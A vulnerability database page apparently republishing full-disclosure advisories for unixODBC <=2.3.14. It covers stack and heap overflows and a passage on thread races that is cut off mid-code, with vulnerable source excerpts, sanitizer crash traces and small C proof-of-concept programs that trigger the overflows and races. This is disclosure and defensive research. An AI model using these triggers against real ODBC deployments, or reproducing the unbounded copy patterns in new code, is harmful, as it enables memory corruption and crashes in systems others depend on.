Search
Find a vulnerability
Search criteria
3 vulnerabilities found for <=2.3.14 by Unixodbc
GCVE-1988-2026-0553
Vulnerability from gna-1988 – Published: 2026-11-13 01:41 – Updated: 2026-11-13 01:41
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Stack Buffer Overflows
Summary
unixODBC versions 2.3.14 and below contain multiple stack buffer overflows, including arbitrarily large and off-by-one
stack overflows. Attackers who can influence various arguments passed thereto can trigger the stack-based buffer
overflows inside of the unixODBC driver manager itself, potentially corrupting return addresses, overwriting the stack
with arbitrary byes (leading to arbitrary code execution, crashes, etc.), and other such things. Given the number
found and that, in truth, heap and stack buffer overflows identical coding constructs and paradigms in C/C++ , we will
only show a few -- the rest can be obtained therefrom, treating these as templates for finding the other instances.
Examples
From Signing Problems to Overflows
The following example involves unvalidated negative `buffer_length` values being used in `SQLGetDiagRec` and
`SQLGetDiagRecW` for `memcpy` and `strcpy` calls -- the former causing an integer wrap-around of the negative value in
a heap-based overflow, with the latter triggering an unbounded stack overflow. As every ODBC-consuming process that
retrieves diagnostics shares this single code path -- including connection-pooling middleware and multi-tenant database
gateways that keep Driver Manager handles alive across requests from different callers -- a single malformed
`buffer_length` value is sufficient to crash or corrupt the memory of any process using the library regardless of the
driver or data source configured.
```c
static SQLRETURN extract_sql_error_rec( EHEAD *head,
SQLCHAR *sqlstate,
SQLINTEGER rec_number,
SQLINTEGER *native_error,
SQLCHAR *message_text,
SQLSMALLINT buffer_length,
SQLSMALLINT *text_length )
{
SQLRETURN ret;
if ( sqlstate )
strcpy((char*) sqlstate, "00000" );
if ( rec_number <= head -> sql_diag_head.internal_count )
{
ERROR *ptr;
SQLCHAR *as1 = NULL;
ptr = head -> sql_diag_head.internal_list_head;
while( rec_number > 1 )
{
ptr = ptr -> next;
rec_number --;
}
if ( !ptr )
{
return SQL_NO_DATA;
}
as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -> msg, SQL_NTS, __get_connection( head ), NULL );
if ( sqlstate )
{
unicode_to_ansi_copy((char*) sqlstate, 6, ptr -> sqlstate, SQL_NTS, __get_connection( head ), NULL );
}
if ( buffer_length < strlen((char*) as1 ) + 1 )
{
ret = SQL_SUCCESS_WITH_INFO;
}
else
{
ret = SQL_SUCCESS;
}
if ( message_text && as1 )
{
if ( ret == SQL_SUCCESS )
{
strcpy((char*) message_text, (char*) as1 );
}
else
{
memcpy( message_text, as1, buffer_length );
message_text[ buffer_length - 1 ] = '\0';
}
}
```
Code snippet from `unixODBC`'s DriverManager/SQLGetDiagRec.c, lines 299-355
```c
static SQLRETURN extract_sql_error_rec_w( EHEAD *head,
SQLWCHAR *sqlstate,
SQLINTEGER rec_number,
SQLINTEGER *native_error,
SQLWCHAR *message_text,
SQLSMALLINT buffer_length,
SQLSMALLINT *text_length )
{
SQLRETURN ret;
if ( sqlstate )
{
SQLWCHAR *tmp;
tmp = ansi_to_unicode_alloc((SQLCHAR*) "00000", SQL_NTS, __get_connection( head ), NULL );
wide_strcpy( sqlstate, tmp );
free( tmp );
}
if ( rec_number <= head -> sql_diag_head.internal_count )
{
ERROR *ptr;
ptr = head -> sql_diag_head.internal_list_head;
while( rec_number > 1 )
{
ptr = ptr -> next;
rec_number --;
}
if ( !ptr )
{
return SQL_NO_DATA;
}
if ( sqlstate )
{
wide_strcpy( sqlstate, ptr -> sqlstate );
}
if ( buffer_length < wide_strlen( ptr -> msg ) + 1 )
{
ret = SQL_SUCCESS_WITH_INFO;
}
else
{
ret = SQL_SUCCESS;
}
if ( message_text )
{
if ( ret == SQL_SUCCESS )
{
wide_strcpy( message_text, ptr -> msg );
}
else
{
memcpy( message_text, ptr -> msg, buffer_length * sizeof( SQLWCHAR ) );
message_text[ buffer_length - 1 ] = '\0';
}
}
```
Snippet from `unixODBC`'s DriverManager/SQLGetDiagRecW.c, lines 186-245
```text
SQLSetEnvAttr returned: -1
==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)
#0 ... __asan_memcpy
#1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17
#2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11
#3 ... main reprow.c:28:10
SUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy
==1303361==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRecW()`
```text
SQLSetEnvAttr returned: -1
==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f9282e00050 ...
WRITE of size 62 at 0x7f9282e00050 thread T0
#0 ... strcpy
#1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17
#2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11
#3 ... main repro.c:25:10
[32, 40) 'henv' (line 7)
[64, 80) 'msg' (line 9) <== Memory access at offset 80 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy
==1302781==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRec()`
```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>
int main(void)
{
SQLHENV henv = NULL;
SQLRETURN rc;
SQLCHAR msg[16];
SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
printf("SQLSetEnvAttr returned: %d\n", rc);
fflush(stdout);
rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
msg, (SQLSMALLINT)-1, NULL);
printf("unexpectedly returned: %d\n", rc); /* never reached */
return 0;
}
```
Sample code to cause the overflow in the ANSI path
```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>
int main(void)
{
SQLHENV henv = NULL;
SQLRETURN rc;
SQLWCHAR msg[16];
SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
printf("SQLSetEnvAttr returned: %d\n", rc);
fflush(stdout);
rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
msg, (SQLSMALLINT)-1, NULL);
printf("unexpectedly returned: %d\n", rc); /* never reached */
return 0;
}
```
Sample code to cause the overflow in the wide-character path
Unbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`
When the caller-supplied `pszUI` is empty -- a common usage -- the `_getUIPluginName(char *pszName, char *pszUI)`
method resolves the file name of the Open Database Connectivity (ODBC) installer user interface (UI) plugin by reading
the `ODBCINSTUI` environment variable (`getenv("ODBCINSTUI")`) and copies the value thereof into the caller's buffer
with `sprintf(pszName, "lib%s", pEnvVar);`. This process is performed without any verification against the buffer's
`FILENAME_MAX` capacity versus the value from the environment variable, so when `SQLManageDataSources()` passes its
local `char szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than `FILENAME_MAX - 3` bytes
overflows that stack buffer with attacker-chosen content.
Keeping in mind that this is merely an example of a repeated design pattern within the code, rather than simply taking
it for the single instance, the likelihood and impact of this specific instance is moot -- it merely serves to
demonstrate the pattern. With that said, as this is a desktop ODBC administration tool, there are two major use cases
in play here. First, it is run by the same user who controls their own shell, making the practical effect a rather
mundane self-inflicted crash or local denial of service. It is, however, the second use case that is more interesting:
for any setuid or otherwise privileged helper, or any service (e.g., a Common Gateway Interface (CGI) script or a
`sudo` wrapper) that invokes the installer API while inheriting an untrusted caller's environment, the `ODBCINSTUI`
environment variable becomes a cross-privilege-boundary stack-smashing vector. The same unbounded-`sprintf()` pattern
also exists for the caller-supplied `szUI` value and for the value read from `odbcinst.ini`, so any affected deployment
is exposed through more than one input path, not simply the environment variable.
```c
/*!
* \brief UI to manage most ODBC system information.
*
* This calls into the UI plugin library to do our work for us. The caller can provide
* the name (base name) of the library or let us determine which library to use.
* See \sa _getUIPluginName for details on how the choice is made.
*
* \param hWnd Input. Parent window handle. This is HWND as per the ODBC
* specification but in unixODBC we use a generic window
* handle. Caller must cast a HODBCINSTWND to HWND at call.
*
* \return BOOL
*
* \sa ODBCINSTWND
*/
BOOL SQLManageDataSources( HWND hWnd )
{
HODBCINSTWND hODBCInstWnd = (HODBCINSTWND)hWnd;
char szName[FILENAME_MAX];
char szNameAndExtension[FILENAME_MAX];
char szPathAndName[FILENAME_MAX];
void * hDLL;
BOOL (*pSQLManageDataSources)(HWND);
inst_logClear();
/* ODBC specification states that hWnd is mandatory. */
if ( !hWnd )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_INVALID_HWND, "No hWnd" );
return FALSE;
}
/* initialize libtool */
if ( lt_dlinit() )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_GENERAL_ERR, "lt_dlinit() failed" );
return FALSE;
}
#ifdef MODULEDIR
lt_dlsetsearchpath(MODULEDIR);
#endif
/* get plugin name */
_appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName, hODBCInstWnd->szUI ) );
```
Snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 112-156
```c
/*!
* \brief Get the short name of the UI plugin.
*
* The short name is the file name without path or file extension.
*
* We silently prepend "lib" here as well.
*
* \param pszName Place to put short name. Should be FILENAME_MAX bytes.
* \param pszUI Our generic window handle.
*
* \return char* pszName returned for convenience.
*/
char *_getUIPluginName( char *pszName, char *pszUI )
{
*pszName = '\0';
/* is it being provided by caller? */
if ( pszUI && *pszUI )
{
sprintf( pszName, "lib%s", pszUI );
return pszName;
}
/* is it being provided by env var? */
{
char *pEnvVar = getenv( "ODBCINSTUI" );
if ( pEnvVar )
{
sprintf( pszName, "lib%s", pEnvVar );
return pszName;
}
}
/* is it being provided by odbcinst.ini? */
{
char sz[FILENAME_MAX];
*sz='\0';
SQLGetPrivateProfileString( "ODBC", "ODBCINSTUI", "", sz, FILENAME_MAX, "odbcinst.ini" );
if ( *sz )
{
sprintf( pszName, "lib%s", sz );
return pszName;
}
}
/* default to qt4 */
strcpy( pszName, ODBCINSTPLUGIN );
return pszName;
}
```
Code snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 20-69
```text
[poc] about to call
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Nov/16 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple stack buffer overflows, including arbitrarily large and off-by-one \nstack overflows. Attackers who can influence various arguments passed thereto can trigger the stack-based buffer \noverflows inside of the unixODBC driver manager itself, potentially corrupting return addresses, overwriting the stack \nwith arbitrary byes (leading to arbitrary code execution, crashes, etc.), and other such things. Given the number \nfound and that, in truth, heap and stack buffer overflows identical coding constructs and paradigms in C/C++ , we will \nonly show a few -- the rest can be obtained therefrom, treating these as templates for finding the other instances.\n\nExamples\nFrom Signing Problems to Overflows\nThe following example involves unvalidated negative `buffer_length` values being used in `SQLGetDiagRec` and \n`SQLGetDiagRecW` for `memcpy` and `strcpy` calls -- the former causing an integer wrap-around of the negative value in \na heap-based overflow, with the latter triggering an unbounded stack overflow. As every ODBC-consuming process that \nretrieves diagnostics shares this single code path -- including connection-pooling middleware and multi-tenant database \ngateways that keep Driver Manager handles alive across requests from different callers -- a single malformed \n`buffer_length` value is sufficient to crash or corrupt the memory of any process using the library regardless of the \ndriver or data source configured.\n\n```c\nstatic SQLRETURN extract_sql_error_rec( EHEAD *head,\n SQLCHAR *sqlstate,\n SQLINTEGER rec_number,\n SQLINTEGER *native_error,\n SQLCHAR *message_text,\n SQLSMALLINT buffer_length,\n SQLSMALLINT *text_length )\n{\n SQLRETURN ret;\n\n if ( sqlstate )\n strcpy((char*) sqlstate, \"00000\" );\n\n if ( rec_number \u003c= head -\u003e sql_diag_head.internal_count )\n {\n ERROR *ptr;\n SQLCHAR *as1 = NULL;\n\n ptr = head -\u003e sql_diag_head.internal_list_head;\n while( rec_number \u003e 1 )\n {\n ptr = ptr -\u003e next;\n rec_number --;\n }\n\n if ( !ptr )\n {\n return SQL_NO_DATA;\n }\n\n as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -\u003e msg, SQL_NTS, __get_connection( head ), NULL );\n\n if ( sqlstate )\n {\n unicode_to_ansi_copy((char*) sqlstate, 6, ptr -\u003e sqlstate, SQL_NTS, __get_connection( head ), NULL );\n }\n if ( buffer_length \u003c strlen((char*) as1 ) + 1 )\n {\n ret = SQL_SUCCESS_WITH_INFO;\n }\n else\n {\n ret = SQL_SUCCESS;\n }\n\n if ( message_text \u0026\u0026 as1 )\n {\n if ( ret == SQL_SUCCESS )\n {\n strcpy((char*) message_text, (char*) as1 );\n }\n else\n {\n memcpy( message_text, as1, buffer_length );\n message_text[ buffer_length - 1 ] = \u0027\\0\u0027;\n }\n }\n```\nCode snippet from `unixODBC`\u0027s DriverManager/SQLGetDiagRec.c, lines 299-355\n\n```c\nstatic SQLRETURN extract_sql_error_rec_w( EHEAD *head,\n SQLWCHAR *sqlstate,\n SQLINTEGER rec_number,\n SQLINTEGER *native_error,\n SQLWCHAR *message_text,\n SQLSMALLINT buffer_length,\n SQLSMALLINT *text_length )\n{\n SQLRETURN ret;\n\n if ( sqlstate )\n {\n SQLWCHAR *tmp;\n\n tmp = ansi_to_unicode_alloc((SQLCHAR*) \"00000\", SQL_NTS, __get_connection( head ), NULL );\n wide_strcpy( sqlstate, tmp );\n free( tmp );\n }\n\n if ( rec_number \u003c= head -\u003e sql_diag_head.internal_count )\n {\n ERROR *ptr;\n\n ptr = head -\u003e sql_diag_head.internal_list_head;\n while( rec_number \u003e 1 )\n {\n ptr = ptr -\u003e next;\n rec_number --;\n }\n\n if ( !ptr )\n {\n return SQL_NO_DATA;\n }\n\n if ( sqlstate )\n {\n wide_strcpy( sqlstate, ptr -\u003e sqlstate );\n }\n if ( buffer_length \u003c wide_strlen( ptr -\u003e msg ) + 1 )\n {\n ret = SQL_SUCCESS_WITH_INFO;\n }\n else\n {\n ret = SQL_SUCCESS;\n }\n\n if ( message_text )\n {\n if ( ret == SQL_SUCCESS )\n {\n wide_strcpy( message_text, ptr -\u003e msg );\n }\n else\n {\n memcpy( message_text, ptr -\u003e msg, buffer_length * sizeof( SQLWCHAR ) );\n message_text[ buffer_length - 1 ] = \u0027\\0\u0027;\n }\n }\n```\nSnippet from `unixODBC`\u0027s DriverManager/SQLGetDiagRecW.c, lines 186-245\n\n```text\nSQLSetEnvAttr returned: -1\n==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)\n #0 ... __asan_memcpy\n #1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17\n #2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11\n #3 ... main reprow.c:28:10\nSUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy\n==1303361==ABORTING\n```\nOutput from AddressSanitizer, `SQLGetDiagRecW()`\n\n```text\nSQLSetEnvAttr returned: -1\n==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f9282e00050 ...\nWRITE of size 62 at 0x7f9282e00050 thread T0\n #0 ... strcpy\n #1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17\n #2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11\n #3 ... main repro.c:25:10\n[32, 40) \u0027henv\u0027 (line 7)\n[64, 80) \u0027msg\u0027 (line 9) \u003c== Memory access at offset 80 overflows this variable\nSUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy\n==1302781==ABORTING\n```\nOutput from AddressSanitizer, `SQLGetDiagRec()`\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cstdio.h\u003e\n\nint main(void)\n{\n SQLHENV henv = NULL;\n SQLRETURN rc;\n SQLCHAR msg[16];\n\n SQLAllocHandle(SQL_HANDLE_ENV, NULL, \u0026henv);\n rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);\n printf(\"SQLSetEnvAttr returned: %d\\n\", rc);\n fflush(stdout);\n rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,\n msg, (SQLSMALLINT)-1, NULL);\n printf(\"unexpectedly returned: %d\\n\", rc); /* never reached */\n return 0;\n}\n```\nSample code to cause the overflow in the ANSI path\n\n```c\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cstdio.h\u003e\n\nint main(void)\n{\n SQLHENV henv = NULL;\n SQLRETURN rc;\n SQLWCHAR msg[16];\n\n SQLAllocHandle(SQL_HANDLE_ENV, NULL, \u0026henv);\n rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);\n printf(\"SQLSetEnvAttr returned: %d\\n\", rc);\n fflush(stdout);\n rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,\n msg, (SQLSMALLINT)-1, NULL);\n printf(\"unexpectedly returned: %d\\n\", rc); /* never reached */\n return 0;\n}\n```\nSample code to cause the overflow in the wide-character path\n\nUnbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`\nWhen the caller-supplied `pszUI` is empty -- a common usage -- the `_getUIPluginName(char *pszName, char *pszUI)` \nmethod resolves the file name of the Open Database Connectivity (ODBC) installer user interface (UI) plugin by reading \nthe `ODBCINSTUI` environment variable (`getenv(\"ODBCINSTUI\")`) and copies the value thereof into the caller\u0027s buffer \nwith `sprintf(pszName, \"lib%s\", pEnvVar);`. This process is performed without any verification against the buffer\u0027s \n`FILENAME_MAX` capacity versus the value from the environment variable, so when `SQLManageDataSources()` passes its \nlocal `char szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than `FILENAME_MAX - 3` bytes \noverflows that stack buffer with attacker-chosen content.\n\nKeeping in mind that this is merely an example of a repeated design pattern within the code, rather than simply taking \nit for the single instance, the likelihood and impact of this specific instance is moot -- it merely serves to \ndemonstrate the pattern. With that said, as this is a desktop ODBC administration tool, there are two major use cases \nin play here. First, it is run by the same user who controls their own shell, making the practical effect a rather \nmundane self-inflicted crash or local denial of service. It is, however, the second use case that is more interesting: \nfor any setuid or otherwise privileged helper, or any service (e.g., a Common Gateway Interface (CGI) script or a \n`sudo` wrapper) that invokes the installer API while inheriting an untrusted caller\u0027s environment, the `ODBCINSTUI` \nenvironment variable becomes a cross-privilege-boundary stack-smashing vector. The same unbounded-`sprintf()` pattern \nalso exists for the caller-supplied `szUI` value and for the value read from `odbcinst.ini`, so any affected deployment \nis exposed through more than one input path, not simply the environment variable.\n\n```c\n/*!\n * \\brief UI to manage most ODBC system information.\n*\n * This calls into the UI plugin library to do our work for us. The caller can provide\n* the name (base name) of the library or let us determine which library to use.\n* See \\sa _getUIPluginName for details on how the choice is made.\n*\n * \\param hWnd Input. Parent window handle. This is HWND as per the ODBC\n* specification but in unixODBC we use a generic window\n* handle. Caller must cast a HODBCINSTWND to HWND at call.\n *\n * \\return BOOL\n*\n* \\sa ODBCINSTWND\n*/\nBOOL SQLManageDataSources( HWND hWnd )\n{\n HODBCINSTWND hODBCInstWnd = (HODBCINSTWND)hWnd;\n char szName[FILENAME_MAX];\n char szNameAndExtension[FILENAME_MAX];\n char szPathAndName[FILENAME_MAX];\n void * hDLL;\n BOOL (*pSQLManageDataSources)(HWND);\n\n inst_logClear();\n\n /* ODBC specification states that hWnd is mandatory. */\n if ( !hWnd )\n {\n inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_INVALID_HWND, \"No hWnd\" );\n return FALSE;\n }\n\n /* initialize libtool */\n if ( lt_dlinit() )\n {\n inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_GENERAL_ERR, \"lt_dlinit() failed\" );\n return FALSE;\n }\n#ifdef MODULEDIR\n lt_dlsetsearchpath(MODULEDIR);\n#endif\n\n /* get plugin name */\n _appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName, hODBCInstWnd-\u003eszUI ) );\n```\nSnippet from `unixODBC`\u0027s odbcinst/SQLManageDataSources.c, lines 112-156\n\n```c\n/*!\n * \\brief Get the short name of the UI plugin.\n*\n * The short name is the file name without path or file extension.\n*\n* We silently prepend \"lib\" here as well.\n*\n* \\param pszName Place to put short name. Should be FILENAME_MAX bytes.\n * \\param pszUI Our generic window handle.\n*\n * \\return char* pszName returned for convenience.\n*/\nchar *_getUIPluginName( char *pszName, char *pszUI )\n{\n *pszName = \u0027\\0\u0027;\n\n /* is it being provided by caller? */\n if ( pszUI \u0026\u0026 *pszUI )\n {\n sprintf( pszName, \"lib%s\", pszUI );\n return pszName;\n }\n\n /* is it being provided by env var? */\n {\n char *pEnvVar = getenv( \"ODBCINSTUI\" );\n if ( pEnvVar )\n {\n sprintf( pszName, \"lib%s\", pEnvVar );\n return pszName;\n }\n }\n\n /* is it being provided by odbcinst.ini? */\n {\n char sz[FILENAME_MAX];\n *sz=\u0027\\0\u0027;\n SQLGetPrivateProfileString( \"ODBC\", \"ODBCINSTUI\", \"\", sz, FILENAME_MAX, \"odbcinst.ini\" );\n if ( *sz )\n {\n sprintf( pszName, \"lib%s\", sz );\n return pszName;\n }\n }\n\n /* default to qt4 */\n strcpy( pszName, ODBCINSTPLUGIN );\n\n return pszName;\n}\n```\nCode snippet from `unixODBC`\u0027s odbcinst/SQLManageDataSources.c, lines 20-69\n\n```text\n[poc] about to call "
}
],
"providerMetadata": {
"dateUpdated": "2026-11-13T01:41:18Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/16"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/16"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/16"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Stack Buffer Overflows",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0553",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/16",
"automated": true,
"contentSha256": "b8db59088fb86a623e94a04867dab36b8405c8b0d354b1624b128753e4aea1bd",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/16",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-06T00:57:58Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-13T01:41:18Z",
"dateUpdated": "2026-11-13T01:41:18Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0553"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0549
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Races
Summary
The unixODBC driver manager library contains multiple races of importance / interest, including a set of data races in
the connection-pooling configuration state data that can cause one thread to read a half-written pool-size or timeout
value, which can lead to a variety of harmful effects, as well as a race between teardown and error-handling
functionality that can result in double-frees and use-after-frees. Other races exist within the code, as well, but,
for brevity, are left as exercises for the reader.
Examples
Sample Data Races
While 7 distinct data races were discovered, the following serves as a blueprint to find both the examples below and
other instances.
Connection-Pooling Configuration State Data Races
The DriverManager's connection-pooling configuration state -- the globals `pooling_enabled`, `pool_max_size`, and
`pool_wait_timeout` declared in `SQLConnect.c` -- is read and written from `SQLAllocHandle`, `SQLSetEnvAttr`,
`SQLConnect`, `SQLDriverConnect`, `SQLDisconnect`, and `SQLFreeHandle` without any of the write paths acquiring a lock,
despite such a lock -- a mutex in `__handles.c` -- already existing expressly for this purpose. Since the variables in
question are neither atomic nor `volatile`, directly accessing them in such a fashion via reads and writes creates a
data race, with the compiler and central processing unit (CPU) being free to tear, cache, and reorder the accesses (and
the compiler will, more generally, assume single-threaded execution for non-atomic globals, which may cause aggressive
optimisations, like moving reads out of loops, that further break runtime assumptions). While there are multiple sites
with this specific problem, we will only show code for one for the sake of brevity. The sample code to reproduce the
issue will, across multiple runs, demonstrate races in `SQLSetEnvAttr`, `SQLAllocHandle`, etc., so running it multiple
times will provide a better example thereof, as one would expect with such an issue.
```c
int pooling_enabled = 0;
int pool_max_size = 0;
int pool_wait_timeout;
```
Code snippet from `unixODBC`'s DriverManager/SQLConnect.c, lines 738-740
```c
/** Lines 255-261 **/
/*
* connection pooling stuff
*/
extern int pooling_enabled;
extern int pool_max_size;
extern int pool_wait_timeout;
/** ... **/
/** Lines 302-323 **/
if ( pooling_string[ 0 ] == '1' ||
toupper( pooling_string[ 0 ] ) == 'Y' ||
( toupper( pooling_string[ 0 ] ) == 'O' &&
toupper( pooling_string[ 1 ] ) == 'N' ))
{
pooling_enabled = 1;
}
#ifdef WITH_SHARDENV
if ( pooling_enabled )
{
int first;
SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0",
pool_max_size_string, sizeof( pool_max_size_string ),
"ODBCINST.INI" );
pool_max_size = atoi( pool_max_size_string );
SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30",
pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),
"ODBCINST.INI" );
pool_wait_timeout = atoi( pool_wait_timeout_string );
/** .. **/
/** Lines 383-397 **/
#else
if ( pooling_enabled )
{
int first;
SQLGetPrivateProfileString( "ODBC", "PoolMaxSize", "0",
pool_max_size_string, sizeof( pool_max_size_string ),
"ODBCINST.INI" );
pool_max_size = atoi( pool_max_size_string );
SQLGetPrivateProfileString( "ODBC", "PoolWaitTimeout", "30",
pool_wait_timeout_string, sizeof( pool_wait_timeout_string ),
"ODBCINST.INI" );
pool_wait_timeout = atoi( pool_wait_timeout_string );
```
Snippets from `unixODBC`'s DriverManager/SQLAllocHandle.c
```c
#include <stdio.h>
#include <pthread.h>
#include <sql.h>
#include <sqlext.h>
#define ITER 2000
static void *setter_thread(void *arg) {
(void)arg;
for (int i = 0; i < ITER; i++) {
SQLSetEnvAttr(SQL_NULL_HENV, SQL_ATTR_CONNECTION_POOLING,
(SQLPOINTER)SQL_CP_ONE_PER_DRIVER, 0);
}
return NULL;
}
static void *alloc_thread(void *arg) {
(void)arg;
for (int i = 0; i < ITER; i++) {
SQLHENV henv = SQL_NULL_HENV;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
if (henv != SQL_NULL_HENV) {
SQLFreeHandle(SQL_HANDLE_ENV, henv);
}
}
return NULL;
}
int main(void) {
pthread_t t1, t2;
pthread_create(&t1, NULL, setter_thread, NULL);
pthread_create(&t2, NULL, alloc_thread, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("done\n");
return 0;
}
```
Sample code to cause the data race
```text
WARNING: ThreadSanitizer: data race (pid=1369482)
Read of size 4 at 0x7f6f9fff8c28 by thread T2:
#0 __SQLAllocHandle .../DriverManager/SQLAllocHandle.c:387:18 ...
#1 SQLAllocHandle .../DriverManager/SQLAllocHandle.c:1396:12 ...
#2 alloc_thread .../poc_pool_race.c:41:24 ...
Previous write of size 4 at 0x7f6f9fff8c28 by thread T1:
#0 SQLSetEnvAttr .../DriverManager/SQLSetEnvAttr.c:156:33 ...
#1 setter_thread .../poc_pool_race.c:31:9 ...
Location is global 'pooling_enabled' of size 4 at 0x7f6f9fff8c28 (libodbc.so.2+0x8ec28)
...
SUMMARY: ThreadSanitizer: data race .../SQLAllocHandle.c:387:18 in __SQLAllocHandle
ThreadSanitizer: reported 1 warnings
```
Output from ThreadSanitizer
Sample Double-Free/Use-After-Free Race
Although there are multiple instances of this issue within the code base, the following shall serve as a template to
find the others.
Racing on a Shared Handle
The `__release_env`, `__release_dbc`, `__release_stmt`, and `__release_desc` cleanup functions in `__handles.c` perform
`memset` and `free` operations to the caller-supplied handle pointer regardless of whether that pointer was actually
found and unlinked from the handle list, but handle validation acquires and releases the shared `mutex_lists` lock
before the caller proceeds to release the handle such that two threads that call `SQLFreeHandle` on the same handle
simultaneously can both pass validation, so that both either free the same handle (a double-free) or one frees and the
other then reads the freed handle (a use-after-free). Such bugs can, for example, result in a crash or exploitable
memory corruption. Please note that our example only shows some of the instances and that the exact same paradigm
exists elsewhere in the code.
It should also be noted, for completeness, that the code in question and in our sample code snippets contain a variety
of other bugs, including the handle being freed inside of the `mutex_lists` lock and then being unlinked from the list
after validation has already occurred in a separate lock cycle. Also, `SQLFreeHandle` performs validation, drops the
lock, and then calls `__release_env` -- it is this process that is allowing the race.
Regarding the proof-of-concept (POC), we understand that threads would rarely race to free the base environment handle
(`SQLHENV`) and that they are more likely to race on connection (`SQLHDBC`) and statement (`SQLHSTMT`) handles, but we,
again, leave that as an exercise for the reader, especially since such adaptations are trivial and the vulnerable code
segments are copy/pastes of that which is shown below.
```c
thread_release( SQL_HANDLE_ENV, environment );
#ifdef WITH_SHARDENV
if ( pooling_enabled == 0 ) {
/*
